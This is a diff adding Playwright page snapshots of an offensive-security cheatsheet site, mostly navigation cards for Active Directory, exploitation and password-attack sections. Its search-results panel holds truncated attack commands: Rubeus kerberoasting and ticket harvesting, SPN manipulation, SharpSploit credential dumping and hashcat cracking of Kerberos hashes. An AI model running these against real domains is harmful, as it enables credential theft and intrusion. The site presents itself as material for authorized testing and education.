+            - generic [ref=f2e286]: Linux & IT
+            - generic [ref=f2e287]: 9 sheets
+          - generic [ref=f2e288]:
+            - generic [ref=f2e289]: "12"
+            - generic [ref=f2e290]: GIT
+            - generic [ref=f2e294]: Git & Workflow
+            - generic [ref=f2e295]: 5 sheets
+      - generic [ref=f2e296]: 12 domains
+    - generic [ref=f2e298]:
+      - generic [ref=f2e300]:
+        - paragraph [ref=f2e301]:
+          - generic [ref=f2e302]: "01"
+          - generic [ref=f2e303]: "^:"
+          - generic [ref=f2e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f2e306]
+      - generic [ref=f2e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f2e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f2e309]:
+            - generic [ref=f2e310]: AD
+            - generic [ref=f2e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f2e312]
+          - paragraph [ref=f2e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f2e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f2e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f2e318]:
+            - generic [ref=f2e319]: ENUM
+            - generic [ref=f2e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f2e321]
+          - paragraph [ref=f2e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f2e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f2e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f2e327]:
+            - generic [ref=f2e328]: PWN
+            - generic [ref=f2e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f2e330]
+          - paragraph [ref=f2e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f2e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f2e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f2e336]:
+            - generic [ref=f2e337]: PRIV
+            - generic [ref=f2e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f2e339]
+          - paragraph [ref=f2e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f2e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f2e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f2e345]:
+            - generic [ref=f2e346]: CRED
+            - generic [ref=f2e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f2e348]
+          - paragraph [ref=f2e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f2e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f2e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f2e354]:
+            - generic [ref=f2e355]: WEB
+            - generic [ref=f2e356]: "06"
+          - heading "Web" [level=3] [ref=f2e357]
+          - paragraph [ref=f2e358]: XSS, injection, and web application testing.
+          - generic [ref=f2e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f2e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f2e363]:
+            - generic [ref=f2e364]: PIVOT
+            - generic [ref=f2e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f2e366]
+          - paragraph [ref=f2e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f2e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f2e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f2e372]:
+            - generic [ref=f2e373]: CRYPTO
+            - generic [ref=f2e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f2e375]
+          - paragraph [ref=f2e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f2e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f2e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f2e381]:
+            - generic [ref=f2e382]: DFIR
+            - generic [ref=f2e383]: "09"
+          - heading "DFIR" [level=3] [ref=f2e384]
+          - paragraph [ref=f2e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f2e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f2e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f2e390]:
+            - generic [ref=f2e391]: TOOL
+            - generic [ref=f2e392]: "10"
+          - heading "Tools" [level=3] [ref=f2e393]
+          - paragraph [ref=f2e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f2e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f2e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f2e399]:
+            - generic [ref=f2e400]: NIX
+            - generic [ref=f2e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f2e402]
+          - paragraph [ref=f2e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f2e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f2e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f2e408]:
+            - generic [ref=f2e409]: GIT
+            - generic [ref=f2e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f2e411]
+          - paragraph [ref=f2e412]: Version control and operator workflow.
+          - generic [ref=f2e413]: 5 sheets
+    - link [ref=f2e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f2e417]:
+        - generic [ref=f2e418]:
+          - paragraph [ref=f2e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f2e420]
+          - paragraph [ref=f2e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f2e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f2e423]: Browse payloads
+    - generic [ref=f2e427]:
+      - generic [ref=f2e428]:
+        - generic [ref=f2e429]:
+          - paragraph [ref=f2e430]:
+            - generic [ref=f2e431]: "03"
+            - generic [ref=f2e432]: "^:"
+            - generic [ref=f2e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f2e435]
+        - link "All tags" [ref=f2e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f2e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f2e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f2e441]:
+            - generic [ref=f2e442]: "01"
+            - generic [ref=f2e443]: ENUM
+            - generic [ref=f2e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f2e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f2e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f2e453]:
+            - generic [ref=f2e454]: "02"
+            - generic [ref=f2e455]: ENUM
+            - generic [ref=f2e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f2e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f2e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f2e465]:
+            - generic [ref=f2e466]: "03"
+            - generic [ref=f2e467]: AD
+            - generic [ref=f2e471]: Active-Directory_cheat_sheet
+            - generic [ref=f2e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f2e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f2e477]:
+            - generic [ref=f2e478]: "04"
+            - generic [ref=f2e479]: ENUM
+            - generic [ref=f2e483]: Anonymous Null Testing
+            - generic [ref=f2e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f2e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f2e489]:
+            - generic [ref=f2e490]: "05"
+            - generic [ref=f2e491]: AD
+            - generic [ref=f2e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f2e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f2e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f2e501]:
+            - generic [ref=f2e502]: "06"
+            - generic [ref=f2e503]: AD
+            - generic [ref=f2e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f2e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f2e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f2e513]:
+            - generic [ref=f2e514]: "07"
+            - generic [ref=f2e515]: AD
+            - generic [ref=f2e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f2e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f2e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f2e525]:
+            - generic [ref=f2e526]: "08"
+            - generic [ref=f2e527]: AD
+            - generic [ref=f2e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f2e532]: 2026-08-10
+  - contentinfo [ref=f2e536]:
+    - generic [ref=f2e537]:
+      - generic [ref=f2e538]:
+        - link "DÆMON // SEC" [ref=f2e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f2e540]: //
+          - text: SEC
+        - paragraph [ref=f2e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f2e542]:
+        - link "daemon-404.github.io β†—" [ref=f2e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f2e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f2e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f2e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f2e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f2e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f2e549]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f2e552]:
+    - generic [ref=f2e553]:
+      - searchbox "Search query" [active] [ref=f2e557]: kerberoasting
+      - button "Close search" [ref=f2e558] [cursor=pointer]
+    - generic [ref=f2e561]:
+      - 'link "Active Directory Attack #2 β€” Kerberoasting #2 β€” Kerberoasting. πŸ“– How It Works. Kerberoasting is a post-compromise, offline credential attack that abuses a fundamental design feature of the Kerberos protocol. When any authenticated domain user requests" [ref=f2e563] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-2-kerberoasting/
+        - text: Active Directory
+        - generic [ref=f2e564]: "Attack #2 β€” Kerberoasting"
+        - generic [ref=f2e565]:
+          - text: "#2 β€”"
+          - mark [ref=f2e566]: Kerberoasting.
+          - text: πŸ“– How It Works.
+          - mark [ref=f2e567]: Kerberoasting
+          - text: is a post-compromise, offline credential attack that abuses a fundamental design feature of the Kerberos protocol. When any authenticated domain user requests
+      - 'link "Active Directory Kerberoasting Kerberoasting. MITRE ATT&CK: T1558.003 | Requires: Valid domain user credentials. How It Works. Attacker enumerates AD accounts with Service Principal Names (SPNs) set. Requests a TGS (Ticket Granting Service) ticket" [ref=f2e568] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/kerberoasting/
+        - text: Active Directory
+        - generic [ref=f2e569]: Kerberoasting
+        - generic [ref=f2e570]:
+          - mark [ref=f2e571]: Kerberoasting.
+          - text: "MITRE ATT&CK: T1558.003 | Requires: Valid domain user credentials. How It Works. Attacker enumerates AD accounts with Service Principal Names (SPNs) set. Requests a TGS (Ticket Granting Service) ticket"
+      - link "Active Directory Kerberoasting β€” Local On-Host 🎟️ Kerberoasting β€” Local / On-Host Cheatsheet. Focused on techniques executable directly on a domain-joined Windows machine using native tools, .NET, and in-memory methods (LOTL). ⚑ Quick Reference β€” Attack" [ref=f2e572] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/kerberoasting-local-on-host/
+        - text: Active Directory
+        - generic [ref=f2e573]: Kerberoasting β€” Local On-Host
+        - generic [ref=f2e574]:
+          - text: 🎟️
+          - mark [ref=f2e575]: Kerberoasting
+          - text: β€” Local / On-Host Cheatsheet. Focused on techniques executable directly on a domain-joined Windows machine using native tools, .NET, and in-memory methods (LOTL). ⚑ Quick Reference β€” Attack
+      - 'link "Active Directory Attack #20 β€” GenericWrite Abuse Windows. Kerberoasting, PKINIT auth. bloodyAD. Linux. All-in-one AD exploitation. πŸ’» Full Commands. πŸ”΄ Method 1 β€” Targeted Kerberoasting. # ── Set SPN on target user ──────────────────────────────────────────────────── Set-DomainObject -Identity targetadmin -Set" [ref=f2e576] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-20-genericwrite-abuse/
+        - text: Active Directory
+        - generic [ref=f2e577]: "Attack #20 β€” GenericWrite Abuse"
+        - generic [ref=f2e578]:
+          - text: Windows.
+          - mark [ref=f2e579]: Kerberoasting,
+          - text: PKINIT auth. bloodyAD. Linux. All-in-one AD exploitation. πŸ’» Full Commands. πŸ”΄ Method 1 β€” Targeted
+          - mark [ref=f2e580]: Kerberoasting.
+          - text: "# ── Set SPN on target user ──────────────────────────────────────────────────── Set-DomainObject -Identity targetadmin -Set"
+      - 'link "Active Directory Rubeus /interval:30 /outdir:C:\\tickets\\ # Harvest and immediately inject the first ticket found .\\Rubeus.exe harvest /interval:30 /nowrap Kerberoasting. Request TGS tickets for accounts with SPNs set β€” the ticket is encrypted with" [ref=f2e581] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/rubeus/
+        - text: Active Directory
+        - generic [ref=f2e582]: Rubeus
+        - generic [ref=f2e583]:
+          - text: "/interval:30 /outdir:C:\\tickets\\ # Harvest and immediately inject the first ticket found .\\Rubeus.exe harvest /interval:30 /nowrap"
+          - mark [ref=f2e584]: Kerberoasting.
+          - text: Request TGS tickets for accounts with SPNs set β€” the ticket is encrypted with
+      - 'link "Tools SharpSploit β€” DCC2 hashes) SharpSploitConsole.exe LsaCache # Dump Wdigest credentials SharpSploitConsole.exe Wdigest Kerberoasting. # Kerberoast all service accounts with SPNs SharpSploitConsole.exe Kerberoast Lateral Movement (Requires Admin on Target). # Execute command" [ref=f2e585] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/tools/sharpsploit/
+        - text: Tools
+        - generic [ref=f2e586]: SharpSploit
+        - generic [ref=f2e587]:
+          - text: "β€” DCC2 hashes) SharpSploitConsole.exe LsaCache # Dump Wdigest credentials SharpSploitConsole.exe Wdigest"
+          - mark [ref=f2e588]: Kerberoasting.
+          - text: "#"
+          - mark [ref=f2e589]: Kerberoast
+          - text: all service accounts with SPNs SharpSploitConsole.exe
+          - mark [ref=f2e590]: Kerberoast
+          - text: "Lateral Movement (Requires Admin on Target). # Execute command"
+      - 'link "Active Directory Attack #50 β€” Abusing Account Operators Group svc_backup NewP@ss123! /domain # ── Modify service accounts (set SPN for Kerberoasting) ────────────────────── Set-DomainObject -Identity svc_target -Set @{serviceprincipalname=''fake/kerbroast''} .\\Rubeus.exe kerberoast /user:svc_target # ── Create computer account (bypass MAQ) ────────────────────────────────────── New-ADComputer" [ref=f2e591] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-50-abusing-account-operators-group/
+        - text: Active Directory
+        - generic [ref=f2e592]: "Attack #50 β€” Abusing Account Operators Group"
+        - generic [ref=f2e593]:
+          - text: "svc_backup NewP@ss123! /domain # ── Modify service accounts (set SPN for"
+          - mark [ref=f2e594]: Kerberoasting)
+          - text: "────────────────────── Set-DomainObject -Identity svc_target -Set @{serviceprincipalname='fake/kerbroast'} .\\Rubeus.exe"
+          - mark [ref=f2e595]: kerberoast
+          - text: "/user:svc_target # ── Create computer account (bypass MAQ) ────────────────────────────────────── New-ADComputer"
+      - 'link "Password Attacks Hashcat # 2 = plain only 8. Questions & Answers. Q: How do I crack a Kerberoast TGS hash? hashcat -m 13100 -a 0 spns.txt /usr/share/wordlists/rockyou.txt -O Answer: mode 13100, straight" [ref=f2e596] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/password-attacks/hashcat/
+        - text: Password Attacks
+        - generic [ref=f2e597]: Hashcat
+        - generic [ref=f2e598]:
+          - text: "# 2 = plain only 8. Questions & Answers. Q: How do I crack a"
+          - mark [ref=f2e599]: Kerberoast
+          - text: "TGS hash? hashcat -m 13100 -a 0 spns.txt /usr/share/wordlists/rockyou.txt -O Answer: mode 13100, straight"
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-05-35-571Z.yml b/.playwright-mcp/page-2026-08-10T08-05-35-571Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f3e1]:
+  - banner [ref=f3e2]:
+    - generic [ref=f3e3]:
+      - link "DÆMON//SEC home" [ref=f3e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f3e5]: //
+        - text: SEC
+        - generic [ref=f3e6]: _
+      - navigation "Primary" [ref=f3e7]:
+        - link "01 Vault" [ref=f3e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f3e9]: "01"
+          - generic [ref=f3e10]: Vault
+        - link "02 Payloads" [ref=f3e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f3e12]: "02"
+          - generic [ref=f3e13]: Payloads
+        - link "03 Tags" [ref=f3e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f3e15]: "03"
+          - generic [ref=f3e16]: Tags
+        - link "04 Credits" [ref=f3e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f3e18]: "04"
+          - generic [ref=f3e19]: Credits
+      - generic [ref=f3e20]:
+        - button "Search cheatsheets" [ref=f3e21] [cursor=pointer]:
+          - generic [ref=f3e24]: Search
+          - generic [ref=f3e25]: /
+        - button "Toggle theme" [ref=f3e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f3e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f3e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f3e37]:
+    - generic [ref=f3e39]:
+      - generic [ref=f3e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f3e42]:
+          - generic [ref=f3e43]: D
+          - generic [ref=f3e44]: Γ†
+          - generic [ref=f3e45]: M
+          - generic [ref=f3e46]: O
+          - generic [ref=f3e47]: "N"
+        - paragraph [ref=f3e49]:
+          - generic [ref=f3e50]: The cheatsheet vault
+      - generic [ref=f3e52]:
+        - generic [ref=f3e53]:
+          - generic [ref=f3e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f3e55]
+          - paragraph [ref=f3e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f3e57]:
+            - button "Search the vault" [ref=f3e58] [cursor=pointer]
+            - link "Payloads" [ref=f3e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f3e66]:
+          - generic [ref=f3e67]:
+            - generic [ref=f3e68]:
+              - generic [ref=f3e69]: daemon@sec
+              - generic [ref=f3e70]: ~
+              - generic [ref=f3e71]: "%"
+              - generic [ref=f3e72]: whoami --vault
+            - generic [ref=f3e74]:
+              - term [ref=f3e75]: scope
+              - definition [ref=f3e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f3e77]: format
+              - definition [ref=f3e78]: Copy-ready commands, current tool flags
+              - term [ref=f3e79]: search
+              - definition [ref=f3e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f3e81]: license
+              - definition [ref=f3e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f3e83]:
+            - generic [ref=f3e84]:
+              - term [ref=f3e85]: Curated cheatsheets
+              - definition [ref=f3e86]:
+                - text: "06"
+                - generic [ref=f3e87]: Curatedcheatsheets
+            - generic [ref=f3e88]:
+              - term [ref=f3e89]: Operator domains
+              - definition [ref=f3e90]:
+                - text: "00"
+                - generic [ref=f3e91]: Operatordomains
+            - generic [ref=f3e92]:
+              - term [ref=f3e93]: Mirrored payload pages
+              - definition [ref=f3e94]:
+                - text: "04"
+                - generic [ref=f3e95]: Mirroredpayload pages
+    - region "Domains" [ref=f3e96]:
+      - generic [ref=f3e97]: "^: Index"
+      - generic [ref=f3e101]:
+        - generic [ref=f3e102]:
+          - generic [ref=f3e103]:
+            - generic [ref=f3e104]: "01"
+            - generic [ref=f3e105]: AD
+            - generic [ref=f3e109]: Active Directory
+            - generic [ref=f3e110]: 130 sheets
+          - generic [ref=f3e111]:
+            - generic [ref=f3e112]: "02"
+            - generic [ref=f3e113]: ENUM
+            - generic [ref=f3e117]: Enumeration
+            - generic [ref=f3e118]: 18 sheets
+          - generic [ref=f3e119]:
+            - generic [ref=f3e120]: "03"
+            - generic [ref=f3e121]: PWN
+            - generic [ref=f3e125]: Exploitation
+            - generic [ref=f3e126]: 7 sheets
+          - generic [ref=f3e127]:
+            - generic [ref=f3e128]: "04"
+            - generic [ref=f3e129]: PRIV
+            - generic [ref=f3e133]: Privilege Escalation
+            - generic [ref=f3e134]: 2 sheets
+          - generic [ref=f3e135]:
+            - generic [ref=f3e136]: "05"
+            - generic [ref=f3e137]: CRED
+            - generic [ref=f3e141]: Password Attacks
+            - generic [ref=f3e142]: 3 sheets
+          - generic [ref=f3e143]:
+            - generic [ref=f3e144]: "06"
+            - generic [ref=f3e145]: WEB
+            - generic [ref=f3e149]: Web
+            - generic [ref=f3e150]: 9 sheets
+          - generic [ref=f3e151]:
+            - generic [ref=f3e152]: "07"
+            - generic [ref=f3e153]: PIVOT
+            - generic [ref=f3e157]: Tunneling & Pivoting
+            - generic [ref=f3e158]: 6 sheets
+          - generic [ref=f3e159]:
+            - generic [ref=f3e160]: "08"
+            - generic [ref=f3e161]: CRYPTO
+            - generic [ref=f3e165]: Cryptography
+            - generic [ref=f3e166]: 3 sheets
+          - generic [ref=f3e167]:
+            - generic [ref=f3e168]: "09"
+            - generic [ref=f3e169]: DFIR
+            - generic [ref=f3e173]: DFIR
+            - generic [ref=f3e174]: 4 sheets
+          - generic [ref=f3e175]:
+            - generic [ref=f3e176]: "10"
+            - generic [ref=f3e177]: TOOL
+            - generic [ref=f3e181]: Tools
+            - generic [ref=f3e182]: 18 sheets
+          - generic [ref=f3e183]:
+            - generic [ref=f3e184]: "11"
+            - generic [ref=f3e185]: NIX
+            - generic [ref=f3e189]: Linux & IT
+            - generic [ref=f3e190]: 9 sheets
+          - generic [ref=f3e191]:
+            - generic [ref=f3e192]: "12"
+            - generic [ref=f3e193]: GIT
+            - generic [ref=f3e197]: Git & Workflow
+            - generic [ref=f3e198]: 5 sheets
+        - generic [ref=f3e199]:
+          - generic [ref=f3e200]:
+            - generic [ref=f3e201]: "01"
+            - generic [ref=f3e202]: AD
+            - generic [ref=f3e206]: Active Directory
+            - generic [ref=f3e207]: 130 sheets
+          - generic [ref=f3e208]:
+            - generic [ref=f3e209]: "02"
+            - generic [ref=f3e210]: ENUM
+            - generic [ref=f3e214]: Enumeration
+            - generic [ref=f3e215]: 18 sheets
+          - generic [ref=f3e216]:
+            - generic [ref=f3e217]: "03"
+            - generic [ref=f3e218]: PWN
+            - generic [ref=f3e222]: Exploitation
+            - generic [ref=f3e223]: 7 sheets
+          - generic [ref=f3e224]:
+            - generic [ref=f3e225]: "04"
+            - generic [ref=f3e226]: PRIV
+            - generic [ref=f3e230]: Privilege Escalation
+            - generic [ref=f3e231]: 2 sheets
+          - generic [ref=f3e232]:
+            - generic [ref=f3e233]: "05"
+            - generic [ref=f3e234]: CRED
+            - generic [ref=f3e238]: Password Attacks
+            - generic [ref=f3e239]: 3 sheets
+          - generic [ref=f3e240]:
+            - generic [ref=f3e241]: "06"
+            - generic [ref=f3e242]: WEB
+            - generic [ref=f3e246]: Web
+            - generic [ref=f3e247]: 9 sheets
+          - generic [ref=f3e248]:
+            - generic [ref=f3e249]: "07"
+            - generic [ref=f3e250]: PIVOT
+            - generic [ref=f3e254]: Tunneling & Pivoting
+            - generic [ref=f3e255]: 6 sheets
+          - generic [ref=f3e256]:
+            - generic [ref=f3e257]: "08"
+            - generic [ref=f3e258]: CRYPTO
+            - generic [ref=f3e262]: Cryptography
+            - generic [ref=f3e263]: 3 sheets
+          - generic [ref=f3e264]:
+            - generic [ref=f3e265]: "09"
+            - generic [ref=f3e266]: DFIR
+            - generic [ref=f3e270]: DFIR
+            - generic [ref=f3e271]: 4 sheets
+          - generic [ref=f3e272]:
+            - generic [ref=f3e273]: "10"
+            - generic [ref=f3e274]: TOOL
+            - generic [ref=f3e278]: Tools
+            - generic [ref=f3e279]: 18 sheets
+          - generic [ref=f3e280]:
+            - generic [ref=f3e281]: "11"
+            - generic [ref=f3e282]: NIX
+            - generic [ref=f3e286]: Linux & IT
+            - generic [ref=f3e287]: 9 sheets
+          - generic [ref=f3e288]:
+            - generic [ref=f3e289]: "12"
+            - generic [ref=f3e290]: GIT
+            - generic [ref=f3e294]: Git & Workflow
+            - generic [ref=f3e295]: 5 sheets
+      - generic [ref=f3e296]: 12 domains
+    - generic [ref=f3e298]:
+      - generic [ref=f3e300]:
+        - paragraph [ref=f3e301]:
+          - generic [ref=f3e302]: "01"
+          - generic [ref=f3e303]: "^:"
+          - generic [ref=f3e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f3e306]
+      - generic [ref=f3e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f3e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f3e309]:
+            - generic [ref=f3e310]: AD
+            - generic [ref=f3e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f3e312]
+          - paragraph [ref=f3e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f3e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f3e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f3e318]:
+            - generic [ref=f3e319]: ENUM
+            - generic [ref=f3e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f3e321]
+          - paragraph [ref=f3e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f3e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f3e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f3e327]:
+            - generic [ref=f3e328]: PWN
+            - generic [ref=f3e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f3e330]
+          - paragraph [ref=f3e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f3e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f3e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f3e336]:
+            - generic [ref=f3e337]: PRIV
+            - generic [ref=f3e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f3e339]
+          - paragraph [ref=f3e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f3e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f3e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f3e345]:
+            - generic [ref=f3e346]: CRED
+            - generic [ref=f3e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f3e348]
+          - paragraph [ref=f3e349]: Cracking, spraying, and credential recovery.
